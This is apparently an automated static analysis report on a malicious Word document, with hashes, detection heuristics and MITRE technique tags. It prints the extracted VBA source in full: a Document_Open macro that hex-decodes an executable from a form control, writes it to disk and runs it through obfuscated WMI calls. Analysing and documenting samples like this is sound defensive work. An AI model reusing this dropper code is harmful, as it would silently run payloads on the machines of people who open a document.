Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 822a8e3dfa14cd7a…

MALICIOUS

Office (OOXML)

124.3 KB Created: 2020-05-11 15:09:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-05-25
MD5: 4a88e83b325aa23da1e4bfa90b4f7c34 SHA-1: 06f6de4f48dbd69d8f8dd5ff1a33a8eeffc94bad SHA-256: 822a8e3dfa14cd7aaac749dc0515c35cf20632717e191568ba5daf137db7ec17
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains an obfuscated auto-executing VBA macro within the Document_Open subroutine. This macro is designed to construct a file path at 'C:\1\Whole\PFSDNSKDF.EXE', write hex-encoded data to it, and then execute it using WMI. The presence of the 'GetObject' call and the execution of a file via WMI strongly suggest a downloader or dropper functionality.

Heuristics 7

  • ClamAV: Doc.Dropper.HexEncodedEXEHeader-9789587-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.HexEncodedEXEHeader-9789587-1
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1798 bytes
SHA-256: 5a9af849fa1f7d1d6c6b9e41b9147875b2d55757f68eac794ce795ae1fc6e31e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "JuneDocu"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

#If VBA7 Then
Private Declare PtrSafe Function MakeSureDirectoryPathExists Lib "imagehlp    " (ByVal lpPath As String) As Long
#Else
Private Declare Function MakeSureDirectoryPathExists Lib "imagehlp                       " (ByVal lpPath As String) As Long
#End If

Private Sub Document_Open()

Dim i, d
Dim strTemp$, strReturn$, hextostr$
Dim CurFolder$
Dim GenerateFileName$, sFile$, sValues$

CurFolder = "C:\1\Whole"

d = CurFolder & "\" & "PFSDNSKDF.E" + Chr$(88) + Chr$(69)
hextostr = ToggleButton1.Caption

If Right$(CurFolder, 1) <> "\" Then CurFolder = CurFolder & "\"
MakeSureDirectoryPathExists CurFolder
    
For i = 1 To Len(hextostr) Step 2
strTemp = Chr(Val("&H" + Mid(hextostr, i, 2)))
strReturn = strReturn + strTemp
Next i

hextostr = Right(strReturn, Len(strReturn) - 1)



Open d For Binary As #1
Put #1, , Chr$(77) + hextostr
Close #1

Set process = GetObject(ChrW(119) & ChrW(105) & ChrW(110) & ChrW(109) & ChrW(103) & ChrW(109) & ChrW(116) & ChrW(115) _
 & ChrW(58) & ChrW(87) & ChrW(105) & ChrW(110) & ChrW(51) & ChrW(50) & ChrW(95) & ChrW(80) & ChrW(114) _
 & ChrW(111) & ChrW(99) & ChrW(101) & ChrW(115) & ChrW(115))
process.create d, Null, Null, processid

On Error GoTo errorHandler
ActiveDocument.Close _
 SaveChanges:=wdPromptToSaveChanges, _
 OriginalFormat:=wdPromptUser
errorHandler:
If Err = 4198 Then MsgBox "Document was not closed"

Dim x

For x = 0 To 1
Call DateAdd("s" + vbNullString, x, Now)
DoEvents
Next x

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 57acbd0e4a492dbe26d3e97e49d60dc4b72fdfe379d825f51d68d9268c748722